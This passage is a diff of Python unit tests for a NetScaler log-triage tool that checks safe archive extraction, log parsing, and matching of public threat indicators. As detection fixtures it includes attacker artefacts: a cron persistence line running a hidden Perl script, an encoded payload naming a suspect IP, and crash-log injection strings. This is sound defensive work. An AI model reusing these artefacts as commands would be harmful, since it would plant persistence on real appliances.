||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,129 @@
|
|||||||
|
import gzip
|
||||||
|
import io
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
import zipfile
|
||||||
|
from collections.abc import Callable, Iterator
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import IO, Any, cast
|
||||||
|
from unittest.mock import patch
|
||||||
|
|
||||||
|
from netscaler_triage.ingest import InputError, extract_archive, inventory, iter_records
|
||||||
|
|
||||||
|
|
||||||
|
class IngestTests(unittest.TestCase):
|
||||||
|
def test_unreadable_file_does_not_hide_readable_evidence(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
(root / "bad").write_text("private")
|
||||||
|
(root / "good").write_text("evidence\n")
|
||||||
|
original = Path.open
|
||||||
|
|
||||||
|
def guarded(path: Path, *args: Any, **kwargs: Any) -> IO[Any]:
|
||||||
|
if path == root / "bad":
|
||||||
|
raise PermissionError(13, "denied", str(path))
|
||||||
|
return cast(IO[Any], original(path, *args, **kwargs))
|
||||||
|
|
||||||
|
with patch.object(Path, "open", guarded):
|
||||||
|
listing = inventory(root)
|
||||||
|
records = list(iter_records(root, "a"))
|
||||||
|
self.assertEqual(listing[0]["error"], "PermissionError")
|
||||||
|
self.assertIsNone(listing[0]["sha256"])
|
||||||
|
self.assertEqual(records[0]["error"], "PermissionError")
|
||||||
|
self.assertEqual(records[1]["raw"], "evidence")
|
||||||
|
|
||||||
|
def test_directory_traversal_errors_are_visible(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
|
||||||
|
def failed_walk(
|
||||||
|
path: Path, *, followlinks: bool, onerror: Callable[[OSError], None]
|
||||||
|
) -> Iterator[tuple[str, list[str], list[str]]]:
|
||||||
|
onerror(PermissionError(13, "denied", str(root / "unreadable")))
|
||||||
|
return iter(())
|
||||||
|
|
||||||
|
with patch("netscaler_triage.ingest.os.walk", failed_walk):
|
||||||
|
rows = inventory(root)
|
||||||
|
records = list(iter_records(root, "a"))
|
||||||
|
self.assertEqual(rows[0]["source"], "unreadable")
|
||||||
|
self.assertEqual(records[0]["error"], "PermissionError")
|
||||||
|
|
||||||
|
def test_windows_reserved_archive_names(self) -> None:
|
||||||
|
from netscaler_triage.ingest import _member
|
||||||
|
|
||||||
|
for name in ("CON", "logs/NUL.txt", "COM1.log", "logs/name.", "logs/name "):
|
||||||
|
with self.assertRaises(InputError):
|
||||||
|
_member(name)
|
||||||
|
|
||||||
|
def test_binary_is_explicitly_incomplete(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
(root / "binary").write_bytes(b"hello\x00binary")
|
||||||
|
self.assertIn("error", next(iter_records(root, "a")))
|
||||||
|
|
||||||
|
def test_gzip_magic_and_limits(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
(root / "messages.1").write_bytes(gzip.compress(b"hello\nworld\n"))
|
||||||
|
before = inventory(root)
|
||||||
|
rows = list(iter_records(root, "a"))
|
||||||
|
self.assertEqual([r["raw"] for r in rows], ["hello", "world"])
|
||||||
|
self.assertEqual(rows[1]["line"], 2)
|
||||||
|
self.assertIn("error", next(iter_records(root, "a", max_line_bytes=3)))
|
||||||
|
self.assertEqual(before, inventory(root))
|
||||||
|
|
||||||
|
def test_extract_and_fail_closed(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
src = root / "a.zip"
|
||||||
|
with zipfile.ZipFile(src, "w") as z:
|
||||||
|
z.writestr("logs/a.gz", gzip.compress(b"abc"))
|
||||||
|
manifest = extract_archive(src, root / "good")
|
||||||
|
self.assertEqual(manifest[0]["source"], "logs/a.gz")
|
||||||
|
with self.assertRaises(FileExistsError):
|
||||||
|
extract_archive(src, root / "good")
|
||||||
|
with self.assertRaises(InputError):
|
||||||
|
extract_archive(src, root / "limit", max_bytes=2)
|
||||||
|
self.assertFalse((root / "limit").exists())
|
||||||
|
with zipfile.ZipFile(src, "w") as z:
|
||||||
|
z.writestr("../escape", "bad")
|
||||||
|
with self.assertRaises(InputError):
|
||||||
|
extract_archive(src, root / "bad")
|
||||||
|
self.assertFalse((root / "bad").exists())
|
||||||
|
self.assertFalse((root / "escape").exists())
|
||||||
|
|
||||||
|
def test_nested_quota_and_symlink(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
nested = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(nested, "w") as z:
|
||||||
|
z.writestr("a", "contents")
|
||||||
|
src = root / "a.zip"
|
||||||
|
with zipfile.ZipFile(src, "w") as z:
|
||||||
|
z.writestr("nested.zip", nested.getvalue())
|
||||||
|
with self.assertRaises(InputError):
|
||||||
|
extract_archive(src, root / "bad", max_depth=0)
|
||||||
|
info = zipfile.ZipInfo("link")
|
||||||
|
info.external_attr = 0o120777 << 16
|
||||||
|
with zipfile.ZipFile(src, "w") as z:
|
||||||
|
z.writestr(info, "/tmp/escape")
|
||||||
|
with self.assertRaises(InputError):
|
||||||
|
extract_archive(src, root / "bad")
|
||||||
|
|
||||||
|
def test_seven_zip(self) -> None:
|
||||||
|
import py7zr
|
||||||
|
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
src = root / "a.7z"
|
||||||
|
with py7zr.SevenZipFile(src, "w") as z:
|
||||||
|
z.writestr(b"hello\n", "logs/messages")
|
||||||
|
result = extract_archive(src, root / "good")
|
||||||
|
self.assertEqual(result[0]["source"], "logs/messages")
|
||||||
|
self.assertEqual((root / "good/logs/messages").read_bytes(), b"hello\n")
|
||||||
|
with self.assertRaises(InputError):
|
||||||
|
extract_archive(src, root / "limit", max_bytes=2)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,171 @@
|
|||||||
|
"""Public intelligence provenance and representative matching regressions."""
|
||||||
|
|
||||||
|
import base64
|
||||||
|
import json
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Any, ClassVar
|
||||||
|
from urllib.parse import quote
|
||||||
|
|
||||||
|
from netscaler_triage.decoding import decode_layers, has_encoding_candidate
|
||||||
|
from netscaler_triage.engine import scan
|
||||||
|
from netscaler_triage.matching import Matcher, public_config
|
||||||
|
|
||||||
|
|
||||||
|
class IntelInventoryTests(unittest.TestCase):
|
||||||
|
catalog: ClassVar[dict[str, Any]]
|
||||||
|
matcher: ClassVar[Matcher]
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def setUpClass(cls) -> None:
|
||||||
|
cls.catalog = public_config()
|
||||||
|
cls.matcher = Matcher([])
|
||||||
|
|
||||||
|
def test_unique_catalog_and_resolvable_public_provenance(self) -> None:
|
||||||
|
sources = {row["id"]: row for row in self.catalog["sources"]}
|
||||||
|
self.assertGreaterEqual(len(sources), 37)
|
||||||
|
rows = self.catalog["indicators"]
|
||||||
|
self.assertEqual(len(rows), len({(row["type"], row["value"]) for row in rows}))
|
||||||
|
self.assertEqual(len(rows), len({row["id"] for row in rows}))
|
||||||
|
for row in rows:
|
||||||
|
with self.subTest(indicator=row["id"]):
|
||||||
|
self.assertTrue(row["roles"])
|
||||||
|
self.assertTrue(row["observations"])
|
||||||
|
self.assertTrue(row["source_ids"])
|
||||||
|
for source_id in row["source_ids"]:
|
||||||
|
self.assertIn(source_id, sources)
|
||||||
|
self.assertIn(sources[source_id]["url"], row["source_urls"])
|
||||||
|
for observation in row["observations"]:
|
||||||
|
self.assertTrue(observation["source_dates"])
|
||||||
|
self.assertIn("original_status", observation)
|
||||||
|
for date in observation["source_dates"]:
|
||||||
|
self.assertIn(date["id"], sources)
|
||||||
|
self.assertIn("published", date)
|
||||||
|
self.assertTrue(date["retrieved"])
|
||||||
|
urls = {source["url"] for source in sources.values()}
|
||||||
|
self.assertIn(
|
||||||
|
"https://misp.ifin.network/feed/63670851-a19e-4fc4-8fe5-c89bebc8e921.json", urls
|
||||||
|
)
|
||||||
|
self.assertTrue(any("elastic" in url for url in urls))
|
||||||
|
self.assertTrue(any("sygnia.co" in url for url in urls))
|
||||||
|
|
||||||
|
def test_secondary_direction_conflicts_and_shared_proxy_context_survive(self) -> None:
|
||||||
|
rows = self.catalog["indicators"]
|
||||||
|
observations = [ob for row in rows for ob in row["observations"]]
|
||||||
|
conflicts = [
|
||||||
|
ob
|
||||||
|
for ob in observations
|
||||||
|
if ob.get("misp_type") == "ip-dst" and "direction conflict" in ob.get("description", "")
|
||||||
|
]
|
||||||
|
self.assertTrue(conflicts)
|
||||||
|
shared = next(row for row in rows if row["value"] == "104.28.215.136")
|
||||||
|
context = [ob for ob in shared["observations"] if ob.get("misp_to_ids") is False]
|
||||||
|
self.assertTrue(context)
|
||||||
|
self.assertTrue(any(ob["original_status"] == "context_only" for ob in context))
|
||||||
|
self.assertIn("shared", json.dumps(shared).lower())
|
||||||
|
|
||||||
|
def test_every_public_indicator_matches_raw_and_decoded_views(self) -> None:
|
||||||
|
for row in self.catalog["indicators"]:
|
||||||
|
value = row["value"]
|
||||||
|
with self.subTest(indicator=row["id"]):
|
||||||
|
_, hits, _ = self.matcher.search_with_details(value)
|
||||||
|
self.assertTrue(any(hit["id"] == row["id"] for hit in hits))
|
||||||
|
raw = self.matcher.search_sigma({"raw": value})
|
||||||
|
if value == "/var/python/bin/customsnmpd":
|
||||||
|
self.assertFalse(
|
||||||
|
raw
|
||||||
|
) # Legitimate binary: standalone Sigma intentionally omitted.
|
||||||
|
else:
|
||||||
|
self.assertTrue(any("raw" in hit["basis"] for hit in raw))
|
||||||
|
encoded = base64.b64encode(value.encode()).decode()
|
||||||
|
layers = decode_layers("base64:" + encoded)
|
||||||
|
decoded = [
|
||||||
|
layer["output"]
|
||||||
|
for layer in layers
|
||||||
|
if layer.get("output") and layer.get("output_encoding") != "hex"
|
||||||
|
]
|
||||||
|
self.assertIn(value, decoded)
|
||||||
|
sigma = self.matcher.search_sigma({"raw": "encoded event"}, decoded)
|
||||||
|
if value == "/var/python/bin/customsnmpd":
|
||||||
|
self.assertFalse(sigma)
|
||||||
|
else:
|
||||||
|
self.assertTrue(
|
||||||
|
any(any(b.startswith("decoded:") for b in hit["basis"]) for hit in sigma)
|
||||||
|
)
|
||||||
|
escaped = quote(value, safe="")
|
||||||
|
if escaped != value:
|
||||||
|
url_layers = decode_layers(escaped)
|
||||||
|
self.assertTrue(any(layer.get("output") == value for layer in url_layers))
|
||||||
|
|
||||||
|
def test_encoding_gate_accepts_canonical_public_indicator_fields(self) -> None:
|
||||||
|
for row in self.catalog["indicators"]:
|
||||||
|
encoded = base64.b64encode(row["value"].encode()).decode()
|
||||||
|
for value in (encoded, encoded.rstrip("=")):
|
||||||
|
with self.subTest(indicator=row["id"], encoded=value):
|
||||||
|
self.assertTrue(has_encoding_candidate(value))
|
||||||
|
self.assertTrue(has_encoding_candidate("payload=" + value))
|
||||||
|
for payload in ("HTTP_X_UX", "HTTP_X_UX" * 8):
|
||||||
|
encoded = base64.b64encode(payload.encode()).decode().rstrip("=")
|
||||||
|
self.assertTrue(has_encoding_candidate(encoded))
|
||||||
|
for ordinary in ("heartbeat", "INFO routine system heartbeat", "GET / HTTP/1.1"):
|
||||||
|
self.assertFalse(has_encoding_candidate(ordinary))
|
||||||
|
# A valid but noncanonical spelling must not pass the whole-field gate.
|
||||||
|
self.assertFalse(has_encoding_candidate("SFRUUF9YX1VZ=="))
|
||||||
|
|
||||||
|
def test_ipv4_literals_do_not_match_address_prefixes(self) -> None:
|
||||||
|
for row in self.catalog["indicators"]:
|
||||||
|
if row["type"] != "ipv4":
|
||||||
|
continue
|
||||||
|
for text in ("9" + row["value"], row["value"] + "9", row["value"] + ".1"):
|
||||||
|
with self.subTest(value=row["value"], text=text):
|
||||||
|
_, hits, _ = self.matcher.search_with_details(text)
|
||||||
|
self.assertFalse(any(hit["id"] == row["id"] for hit in hits))
|
||||||
|
self.assertFalse(self.matcher.search_sigma({"raw": text}))
|
||||||
|
|
||||||
|
def test_behavior_patterns_match_real_syntax_not_escaped_backslashes(self) -> None:
|
||||||
|
samples = [
|
||||||
|
"SSL_HANDSHAKE_FAILURE DTLSv1.0 Handshake failure-Internal Error",
|
||||||
|
"NSPPE-42 exit with orphan rings",
|
||||||
|
"pitboss PPE unexpectedly died NSPPE;id;#",
|
||||||
|
"HTTP_X_UX_0",
|
||||||
|
"*/5 * * * * root perl /var/tmp/.nsmon/nsmon.pl",
|
||||||
|
]
|
||||||
|
for sample in samples:
|
||||||
|
with self.subTest(sample=sample):
|
||||||
|
self.assertTrue(self.matcher.search_sigma({"raw": sample}))
|
||||||
|
benign = self.matcher.search_sigma({"raw": "pitboss PPE missed too many heartbeats"})
|
||||||
|
self.assertFalse(any(hit.get("level") in {"high", "critical"} for hit in benign))
|
||||||
|
|
||||||
|
def test_http_user_agent_encodings_keep_original_and_source_metadata(self) -> None:
|
||||||
|
payload = "/var/tmp/.nsmon/nsmon.pl 149.104.78.208"
|
||||||
|
b64 = base64.b64encode(payload.encode()).decode()
|
||||||
|
variants = [
|
||||||
|
quote(payload, safe=""),
|
||||||
|
b64,
|
||||||
|
b64.rstrip("="),
|
||||||
|
quote(base64.b64encode(quote(payload, safe="").encode()).decode(), safe=""),
|
||||||
|
]
|
||||||
|
originals = [
|
||||||
|
f'192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "GET / HTTP/1.1" 200 0 "-" "{variant}"'
|
||||||
|
for variant in variants
|
||||||
|
]
|
||||||
|
with tempfile.TemporaryDirectory() as directory:
|
||||||
|
root = Path(directory).resolve()
|
||||||
|
logs = root / "logs"
|
||||||
|
logs.mkdir()
|
||||||
|
(logs / "httpaccess.log").write_text("\n".join(originals) + "\n")
|
||||||
|
output = root / "output"
|
||||||
|
scan([("ADC", logs)], output, [])
|
||||||
|
events = [
|
||||||
|
json.loads(line) for line in (output / "findings.jsonl").read_text().splitlines()
|
||||||
|
]
|
||||||
|
self.assertEqual(len(events), len(originals))
|
||||||
|
for event, original in zip(events, originals, strict=True):
|
||||||
|
self.assertEqual(event["raw"], original)
|
||||||
|
hits = [
|
||||||
|
hit for hit in event["indicator_matches"] if hit["value"] == "149.104.78.208"
|
||||||
|
]
|
||||||
|
self.assertTrue(hits)
|
||||||
|
self.assertTrue(all(hit["source_urls"] and hit["source_ids"] for hit in hits))
|
||||||
|
self.assertTrue(any(layer.get("output") == payload for layer in event["decoding"]))
|
||||||
@@ -0,0 +1,88 @@
|
|||||||
|
import unittest
|
||||||
|
from typing import Any
|
||||||
|
|
||||||
|
from netscaler_triage.parsing import parse_record
|
||||||
|
|
||||||
|
|
||||||
|
class ParsingTests(unittest.TestCase):
|
||||||
|
def test_native_correlation_fields(self) -> None:
|
||||||
|
row = self.parse(
|
||||||
|
'Sep 28 09:10:11 host bash[1]: return_code="0" trans id 12345 Context [email protected]'
|
||||||
|
)
|
||||||
|
self.assertEqual(row["fields"]["return_code"], "0")
|
||||||
|
self.assertEqual(row["fields"]["transaction_id"], "12345")
|
||||||
|
self.assertEqual(row["fields"]["context"], "[email protected]")
|
||||||
|
row = self.parse('Sep 28 09:10:11 host CMD_EXECUTED 12 - Status "Success"')
|
||||||
|
self.assertEqual(row["fields"]["command_status"], "Success")
|
||||||
|
|
||||||
|
def test_attacker_username_is_not_update(self) -> None:
|
||||||
|
row = self.parse('Sep 28 09:10:11 host aaad[42]: User "installns upgrade rebooting" failed')
|
||||||
|
self.assertEqual(row["categories"], [])
|
||||||
|
|
||||||
|
def test_proxy_source(self) -> None:
|
||||||
|
row = self.parse(
|
||||||
|
'192.0.2.40 -> 198.51.100.10 - - [01/Oct/2026:12:02:28 +0000] "GET / HTTP/1.1" 200 5'
|
||||||
|
)
|
||||||
|
self.assertEqual(row["fields"]["dest"], "198.51.100.10")
|
||||||
|
|
||||||
|
def parse(self, raw: str, **kwargs: Any) -> dict[str, Any]:
|
||||||
|
return parse_record({"raw": raw}, **kwargs)
|
||||||
|
|
||||||
|
def test_access_payload_not_update(self) -> None:
|
||||||
|
row = self.parse(
|
||||||
|
'192.0.2.40 - - [01/Oct/2026:12:02:28 +0200] [23] "GET '
|
||||||
|
'/installns?date=2020-01-01T00:00:00Z HTTP/1.1" 404 23 "-" "x"'
|
||||||
|
)
|
||||||
|
self.assertEqual(row["timestamp"], "2026-10-01T10:02:28Z")
|
||||||
|
self.assertEqual(row["fields"]["uri"], "/installns?date=2020-01-01T00:00:00Z")
|
||||||
|
self.assertEqual(row["categories"], [])
|
||||||
|
|
||||||
|
def test_missing_year_and_gmt(self) -> None:
|
||||||
|
row = self.parse(
|
||||||
|
"Sep 30 16:00:54 <local0.warn> 198.51.100.10 09/30/2026:14:00:54 GMT ns "
|
||||||
|
"0-PPE-0 : message"
|
||||||
|
)
|
||||||
|
self.assertEqual(row["timestamp"], "2026-09-30T14:00:54Z")
|
||||||
|
self.assertIsNone(self.parse("Sep 30 16:00:54 host bash[1]: installns")["timestamp"])
|
||||||
|
row = self.parse(
|
||||||
|
"Sep 30 16:00:54 host bash[1]: installns", year=2026, timezone="Europe/Berlin"
|
||||||
|
)
|
||||||
|
self.assertEqual(row["timestamp"], "2026-09-30T14:00:54Z")
|
||||||
|
self.assertEqual(row["fields"]["update_evidence"], "installer_invocation")
|
||||||
|
|
||||||
|
def test_historical_explicit_year(self) -> None:
|
||||||
|
row = self.parse(
|
||||||
|
"COLLECTOR::INFOA::Sun Sep 28 09:11:12 2025:Successfully loaded "
|
||||||
|
"configuration(NS13.1-60.20)",
|
||||||
|
year=2026,
|
||||||
|
timezone="UTC",
|
||||||
|
)
|
||||||
|
self.assertEqual(row["timestamp"], "2025-09-28T09:11:12Z")
|
||||||
|
self.assertEqual(row["fields"]["versions"], ["13.1-60.20"])
|
||||||
|
self.assertIn("version", row["categories"])
|
||||||
|
|
||||||
|
def test_dst_ambiguity(self) -> None:
|
||||||
|
self.assertIsNone(
|
||||||
|
self.parse("2026-10-25 02:30:00 message", timezone="Europe/Berlin")["timestamp"]
|
||||||
|
)
|
||||||
|
self.assertIsNone(
|
||||||
|
self.parse("2026-03-29 02:30:00 message", timezone="Europe/Berlin")["timestamp"]
|
||||||
|
)
|
||||||
|
|
||||||
|
def test_nssetup_version_transition(self) -> None:
|
||||||
|
row = self.parse(
|
||||||
|
"Sep 28 09:10:11 host nssetup[386]: ns_conf_check(): This is an upgrade "
|
||||||
|
"from NetScaler NS13.1 build 50.10 to build 60.20",
|
||||||
|
year=2026,
|
||||||
|
timezone="UTC",
|
||||||
|
)
|
||||||
|
self.assertEqual(row["fields"]["builds"], ["50.10", "60.20"])
|
||||||
|
self.assertEqual(row["fields"]["update_relation"], "explicit_upgrade_from_to")
|
||||||
|
row = self.parse(
|
||||||
|
"Sep 28 09:10:11 host nssetup[386]: This is NetScaler version NS13.1, build 60.20"
|
||||||
|
)
|
||||||
|
self.assertEqual(row["fields"]["versions"], ["13.1-60.20"])
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,173 @@
|
|||||||
|
import gzip
|
||||||
|
import io
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
import zipfile
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import IO, Any, cast
|
||||||
|
from unittest.mock import patch
|
||||||
|
|
||||||
|
from netscaler_triage.ingest import InputError, iter_records
|
||||||
|
from netscaler_triage.preparation import prepare_inputs
|
||||||
|
|
||||||
|
|
||||||
|
class PreparationTests(unittest.TestCase):
|
||||||
|
def test_corrupt_archive_does_not_abort_other_inputs(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
(root / "bad.zip").write_bytes(b"not a zip")
|
||||||
|
(root / "good.log").write_text("evidence\n")
|
||||||
|
groups, manifest = prepare_inputs([root / "bad.zip", root / "good.log"], root / "out")
|
||||||
|
self.assertEqual(len(groups), 1)
|
||||||
|
errors = [row for row in manifest if row["action"] == "error"]
|
||||||
|
self.assertEqual(errors[0]["error"], "ArchiveError")
|
||||||
|
self.assertIn("sha256", errors[0])
|
||||||
|
|
||||||
|
def test_unreadable_file_is_manifest_error(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
source = root / "source"
|
||||||
|
source.mkdir()
|
||||||
|
(source / "bad").write_text("private")
|
||||||
|
(source / "good").write_text("evidence")
|
||||||
|
original = Path.open
|
||||||
|
|
||||||
|
def guarded(path: Path, *args: Any, **kwargs: Any) -> IO[Any]:
|
||||||
|
if path == source / "bad":
|
||||||
|
raise PermissionError(13, "denied", str(path))
|
||||||
|
return cast(IO[Any], original(path, *args, **kwargs))
|
||||||
|
|
||||||
|
with patch.object(Path, "open", guarded):
|
||||||
|
groups, manifest = prepare_inputs([source], root / "out")
|
||||||
|
self.assertEqual(len(groups), 1)
|
||||||
|
self.assertEqual([r["source"] for r in manifest if r["action"] == "error"], ["bad"])
|
||||||
|
self.assertEqual(
|
||||||
|
[p.name for _, folder in groups for p in folder.rglob("*") if p.is_file()], ["good"]
|
||||||
|
)
|
||||||
|
|
||||||
|
def test_password_and_combined_archive_budget(self) -> None:
|
||||||
|
import py7zr
|
||||||
|
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
encrypted = root / "private.7z"
|
||||||
|
with py7zr.SevenZipFile(
|
||||||
|
encrypted, "w", password="test-secret", header_encryption=True
|
||||||
|
) as z:
|
||||||
|
z.writestr(b"log evidence\n", "log/messages")
|
||||||
|
groups, manifest = prepare_inputs([encrypted], root / "good", password="test-secret")
|
||||||
|
self.assertEqual(len(groups), 1)
|
||||||
|
self.assertNotIn("test-secret", str(manifest))
|
||||||
|
archives = []
|
||||||
|
for name in ("a.zip", "b.zip"):
|
||||||
|
path = root / name
|
||||||
|
with zipfile.ZipFile(path, "w", compression=zipfile.ZIP_DEFLATED) as z:
|
||||||
|
z.writestr("messages", "A" * 1000)
|
||||||
|
archives.append(path)
|
||||||
|
limit = sum(p.stat().st_size for p in archives) + 1999
|
||||||
|
with self.assertRaises(InputError):
|
||||||
|
prepare_inputs(archives, root / "limited", max_bytes=limit)
|
||||||
|
self.assertFalse((root / "limited").exists())
|
||||||
|
|
||||||
|
def test_multiple_appliances_and_gzip(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
source = root / "export.zip"
|
||||||
|
with zipfile.ZipFile(source, "w") as archive:
|
||||||
|
archive.writestr("wrapper/QS/var/log/messages", b"first\n")
|
||||||
|
archive.writestr("wrapper/PROD/var/log/messages.gz", gzip.compress(b"second\n"))
|
||||||
|
before = source.read_bytes()
|
||||||
|
groups, manifest = prepare_inputs([source], root / "prepared")
|
||||||
|
self.assertEqual(len(groups), 2)
|
||||||
|
records = [r for name, folder in groups for r in iter_records(folder, name)]
|
||||||
|
self.assertEqual({r["raw"] for r in records}, {"first", "second"})
|
||||||
|
self.assertFalse(any(r.get("error") for r in records))
|
||||||
|
self.assertEqual(before, source.read_bytes())
|
||||||
|
self.assertEqual(sum(r["action"] == "scan_root" for r in manifest), 2)
|
||||||
|
|
||||||
|
def test_toolkit_exclusions_preserve_script_evidence(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
source = root / "source"
|
||||||
|
source.mkdir()
|
||||||
|
(source / "pyproject.toml").write_text('[project]\nname = "netscaler-triage"\n')
|
||||||
|
(source / "src").mkdir()
|
||||||
|
(source / "src/tool.py").write_text("tool")
|
||||||
|
(source / "results").mkdir()
|
||||||
|
(source / "results/old.log").write_text("old")
|
||||||
|
(source / "messages").write_text("evidence\n")
|
||||||
|
(source / "malware.py").write_text('print("evidence")\n')
|
||||||
|
groups, manifest = prepare_inputs([source], source / "new-output")
|
||||||
|
files = {p.name for _, folder in groups for p in folder.rglob("*") if p.is_file()}
|
||||||
|
self.assertEqual(files, {"messages", "malware.py"})
|
||||||
|
self.assertEqual(
|
||||||
|
{r["source"] for r in manifest if r["action"] == "excluded"},
|
||||||
|
{"src", "results", "pyproject.toml", "new-output"},
|
||||||
|
)
|
||||||
|
|
||||||
|
def test_plain_evidence_src_is_not_toolkit(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
source = root / "source"
|
||||||
|
(source / "src").mkdir(parents=True)
|
||||||
|
(source / "src/malware.py").write_text("code evidence")
|
||||||
|
groups, _ = prepare_inputs([source], root / "out")
|
||||||
|
self.assertEqual(sum(len(list(p.rglob("malware.py"))) for _, p in groups), 1)
|
||||||
|
|
||||||
|
def test_gzip_wrapped_zip_and_nested_named_archive(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
source = root / "source.zip"
|
||||||
|
zipped = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(zipped, "w") as archive:
|
||||||
|
archive.writestr("log/messages", "hello\n")
|
||||||
|
with zipfile.ZipFile(source, "w") as archive:
|
||||||
|
archive.writestr("inner.gz", gzip.compress(zipped.getvalue()))
|
||||||
|
groups, _ = prepare_inputs([source], root / "out")
|
||||||
|
records = [r for name, folder in groups for r in iter_records(folder, name)]
|
||||||
|
self.assertEqual([r["raw"] for r in records], ["hello"])
|
||||||
|
|
||||||
|
def test_combined_quota_and_nooverwrite(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
a = root / "a.log"
|
||||||
|
b = root / "b.log"
|
||||||
|
a.write_bytes(b"a" * 6)
|
||||||
|
b.write_bytes(b"b" * 6)
|
||||||
|
with self.assertRaises(InputError):
|
||||||
|
prepare_inputs([a, b], root / "out", max_bytes=10)
|
||||||
|
self.assertFalse((root / "out").exists())
|
||||||
|
(root / "out").mkdir()
|
||||||
|
(root / "out/keep").write_text("safe")
|
||||||
|
with self.assertRaises(FileExistsError):
|
||||||
|
prepare_inputs([a], root / "out")
|
||||||
|
self.assertEqual((root / "out/keep").read_text(), "safe")
|
||||||
|
|
||||||
|
def test_symlink_rejected_and_source_preserved(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
source = root / "source"
|
||||||
|
source.mkdir()
|
||||||
|
(source / "real").write_text("evidence")
|
||||||
|
(source / "link").symlink_to("real")
|
||||||
|
with self.assertRaises(InputError):
|
||||||
|
prepare_inputs([source], root / "out")
|
||||||
|
self.assertFalse((root / "out").exists())
|
||||||
|
self.assertEqual((source / "real").read_text(), "evidence")
|
||||||
|
|
||||||
|
def test_two_same_named_exports_stay_distinct(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
sources = []
|
||||||
|
for n in ("one", "two"):
|
||||||
|
source = root / n / "log"
|
||||||
|
source.mkdir(parents=True)
|
||||||
|
(source / "messages").write_text(n)
|
||||||
|
sources.append(source)
|
||||||
|
groups, _ = prepare_inputs(sources, root / "out")
|
||||||
|
self.assertEqual(len(groups), 2)
|
||||||
|
self.assertEqual(len({name for name, _ in groups}), 2)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,95 @@
|
|||||||
|
"""Boundary semantics for the bundled public reference Sigma groups."""
|
||||||
|
|
||||||
|
import unittest
|
||||||
|
from importlib.resources import files
|
||||||
|
from typing import ClassVar
|
||||||
|
from urllib.parse import urlsplit
|
||||||
|
|
||||||
|
from netscaler_triage.sigma_rules import SigmaMatcher
|
||||||
|
|
||||||
|
|
||||||
|
class PublicBoundaryTests(unittest.TestCase):
|
||||||
|
matcher: ClassVar[SigmaMatcher]
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def setUpClass(cls) -> None:
|
||||||
|
content = files("netscaler_triage").joinpath("data", "public_sigma.yml").read_text()
|
||||||
|
cls.matcher = SigmaMatcher.from_yaml(content)
|
||||||
|
|
||||||
|
def matched(self, kind: str, value: str, decoded: bool = False) -> bool:
|
||||||
|
hits = self.matcher.search_with_details(
|
||||||
|
{"raw": "opaque" if decoded else value}, [value] if decoded else []
|
||||||
|
)
|
||||||
|
return any(hit["name"] == "public_reference_" + kind for hit in hits)
|
||||||
|
|
||||||
|
def test_catalog_positive_raw_and_decoded_per_group(self) -> None:
|
||||||
|
for row in self.matcher.indicators:
|
||||||
|
kind, value = str(row["type"]), str(row["value"])
|
||||||
|
if kind not in {"domain", "path", "url", "sha256"}:
|
||||||
|
continue
|
||||||
|
if value == "/var/python/bin/customsnmpd":
|
||||||
|
continue # Legitimate binary intentionally omitted from standalone selectors.
|
||||||
|
with self.subTest(kind=kind, value=value):
|
||||||
|
self.assertTrue(self.matched(kind, value))
|
||||||
|
self.assertTrue(self.matched(kind, value, decoded=True))
|
||||||
|
|
||||||
|
def test_domains_accept_subdomains_not_lookalike_suffixes(self) -> None:
|
||||||
|
